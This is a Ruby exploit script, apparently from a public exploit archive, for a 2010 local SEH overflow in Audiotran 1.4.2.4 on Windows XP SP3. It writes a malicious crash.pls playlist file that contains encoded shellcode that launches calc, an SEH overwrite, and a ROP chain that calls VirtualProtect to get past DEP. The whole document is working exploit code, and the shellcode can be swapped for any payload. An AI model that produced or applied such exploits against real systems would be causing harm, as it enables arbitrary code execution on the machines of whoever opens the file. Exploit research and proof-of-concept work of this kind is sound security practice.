Audiotran 1.4.2.4 – Local Overflow (SEH) (DEP Bypass)
# Exploit Title: Audiotran 1.4.2.4 SEH Overflow Exploit (DEP Bypass) # Date: 09/20/10 # Credit/Bug found by : Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com # Author: Muhamad Fadzil Ramli - mind1355 at gmail dot com # Software Link: http://www.e-soft.co.uk/Audiotran.htm # Version: 1.4.2.4 # Tested on: Windows XP SP3 EN (Virtualbox 3.2.8 r64453) # CVE: N/A # greetz to PVE (corelanc0d3r - great tutorial) & Intranium Pentester #! /usr/bin/env ruby # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc payload = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc" payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78" payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85" payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5" payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c" payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21" payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5" payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27" payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3" payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53" payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f" payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6" payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8" payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f" payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca" head = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D" junk1 = "A" * 264 seh = [0x73512733].pack('V') # ADD ESP, 1004 # RETN [Module : MSVBVM60.DLL] retslide = [0x73512739].pack('V') * 624 # RETN SLIDE # ROP1 rop1 = '' rop1 << [0x775BB15D].pack('V') # PUSH ESP # POP EDI # XOR EAX, EAX # POP EBX # POP ESI # POP EBP # RETN 8 [Module : ole32.dll] rop1 << "PPPP" * 3 # PADDING rop1 << [0x77C1E842].pack('V') # PUSH EDI # POP EAX # POP EBP # RETN [Module : msvcrt.dll] rop1 << "PPPP" * 3 # PADDING rop1 << [0x055FB8D2].pack('V') # ADD ESP, 20 # RETN [Module : threed32.ocx] # END # VIRTUALPROTECT params = '' params << [0x7C801AD4].pack('V') # VirtualProtect params << 'WWWW' # return address (param1) params << 'XXXX' # lpAddress (param2) params << 'YYYY' # Size (param3) params << 'ZZZZ' # flNewProtect (param4) params << [0x10051005].pack('V'); # writeable address params << 'PPPP' * 2 # END # ROP2 # WRITE PARAM 1 # ADD ESP,20 LANDS HERE rop2 = '' rop2 << [0x73511C1F].pack('V') # PUSH EDI # ADD AL, 5F # POP ESI # POP EBP # POP EBX # RETN [Module : MSVBVM60.DLL] rop2 << "PPPP" * 2 # PADDING rop2 << [0x76CAA6AA].pack('V') # XOR EAX, EAX # RETN [Module : IMAGEHLP.dll] rop2 << [0x77C1E842].pack('V') # PUSH EDI # POP EAX # POP EBP # RETN [Module : msvcrt.dll] rop2 << "PPPP" # PADDING rop2 << [0x74872AE6].pack('V') # ADD EAX, 120 # POP EBP # RETN 4 rop2 << "PPPP" # PADDING rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll] rop2 << "PPPP" * 2 # END # WRITE PARAM 2 rop2 << [0x775D13AE].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] rop2 << [0x74872AE6].pack('V') # ADD EAX, 120 # POP EBP # RETN 4 rop2 << "PPPP" # PADDING rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << "PPPP" # PADDING rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll] rop2 << "PPPP" # END # WRITE PARAM 3 rop2 << [0x775D13AE].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] rop2 << [0x76CAA6AA].pack('V') # XOR EAX, EAX # RETN [Module : IMAGEHLP.dll] rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : msvcrt.dll] rop2 << "PPPP" # PADDING rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : msvcrt.dll] rop2 << "PPPP" # PADDING rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : msvcrt.dll] rop2 << "PPPP" # PADDING rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll] rop2 << "PPPP" # END # WRITE PARAM 4 rop2 << [0x775D13AE].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] rop2 << [0x76CAA6AA].pack('V') # XOR EAX, EAX # RETN [Module : IMAGEHLP.dll] rop2 << [0x77C4EC1D].pack('V') # ADD EAX, 40 # POP EBP # RETN [Module : msvcrt.dll rop2 << "PPPP" # PADDING rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x77571088].pack('V') # INC ESI # RETN [Module : ole32.dll] rop2 << [0x7CB17E80].pack('V') # MOV DWORD PTR DS:[ESI+24], EAX # MOV EAX, ESI # POP ESI # RETN [Module : SHELL32.dll] rop2 << "PPPP" # END # POINT ESP TO VIRTUALPROCTECT rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x61AB06F9].pack('V') # ADD EAX, 4 # RETN [Module : MFC40.DLL] rop2 << [0x27598BEE].pack('V') # XCHG EAX, ESP # RETN [Module : Mscomctl.ocx] # END nops = "\x90" * 300 junk2 = "C" * (10000 - (head + junk1 + seh + retslide + rop1 + params + rop2 + nops + payload).length) data = head + junk1 + seh + retslide + rop1 + params + rop2 + nops + payload + junk2 File.open("crash.pls", 'w') do |b| b.write data puts "file size : " + data.length.to_s end |